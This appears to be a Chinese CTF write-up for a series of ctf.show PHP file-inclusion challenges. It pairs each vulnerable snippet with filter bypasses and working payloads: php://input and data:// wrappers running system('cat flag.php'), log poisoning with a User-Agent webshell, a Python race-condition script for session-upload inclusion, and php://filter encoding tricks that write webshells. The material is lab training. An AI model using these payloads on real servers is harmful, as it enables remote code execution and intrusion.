源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);//高亮显示当前文件内容
}
解法一 - php://input
# http://challenge.ctf.show/?file=php://input
# [POST DATA]
<?php system('ls')?>
<?php system('cat flag.php')?>
解法二 - data://
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4=
?file=data://text/plain,%3c%3fphp+system('cat+flag.php')%3f%3e
相比上一题,过滤了php。
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
PHP://input
?file=data://text/plain,
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
这次把php和data伪协议都过滤了
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
大小写绕过,经过测试,data 协议
无法使用 DATA
绕过。但php://input
可以 PHP://input
绕过。
日志文件路径: /var/log/nginx/access.log
解法一:在User-Agent头添加一句话木马: ,蚁剑连接。
解法二:PHP://input
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
php伪协议不能用了,日志文件包含还是可以,见web80
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
83-86都是和82一样的脚本,只是通过一些手段加大了条件竞争的难度
import requests
import threading
import io
session = requests.session()
# 服务器会创建/tmp/sess_zidingyi 的会话文件
sessid='zidingyi'
url1 = 'http://challenge.ctf.show/'
url2 = url1+'?file=/tmp/sess_'+sessid
data1={
'PHP_SESSION_UPLOAD_PROGRESS':''
}
data2 = { '1':'system("cat f*");' }
file={ 'file':('a.txt',io.BytesIO(b'a'*1024*50))}
cookies={'PHPSESSID':sessid}
def write():
while True:
r=session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfshow{' in r.text:
print(r.text)
break
if __name__ == '__main__':
threads=[ threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:
t.start()
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
法一、Base64解码,将死亡代码解码成乱码,使得php引擎无法识别。
?file=php://filter/write=convert.base64-decode/resource=1.php
↓ 双重URL全编码,网站提供了urldecode()否则不可用
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
[POST DATA]
content=
↓ base64编码,长度一定是4的倍数
content=PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
↓ phpdie 需要填充两个字符,比如aa
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
法二、rot13编码
# 双重url全编码
?file=php://filter/write=string.rot13/resource=1.php
# [POST DATA]
content=<?cuc flfgrz('gnp s*.cuc');?> //
最后访问 /1.php 即可。
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤 “:” , 使用伪协议 data:// ,?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==
但是 “=” 被过滤了,我们知道 = 是因为base64编码最后两个字节被0给填充了才显示的,有两个空格说明,要补两个字节。
system('tac *.php');?>aa
↓ ↓ ↓
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
# 最终答案
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
没学过逆向二进制,我也不懂这工具怎么用😂
/?file=flag.php
,然后"查看网页源代码",这个是mp4文件,比较特殊,方法一:view-source:
,方法二:抓包看highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);
Analyze: 没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。
//ucs-2 两位一反转,字符的长度需要是偶数
<?php echo iconv("UCS-2LE","UCS-2BE",'')?>
//??
########################
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
# [post data]
contents=?<hp pvela$(P_SO[T]1;)>?
访问 /a.php
POST : 1=system(‘ls’);
1=system(‘tac flag.php;’);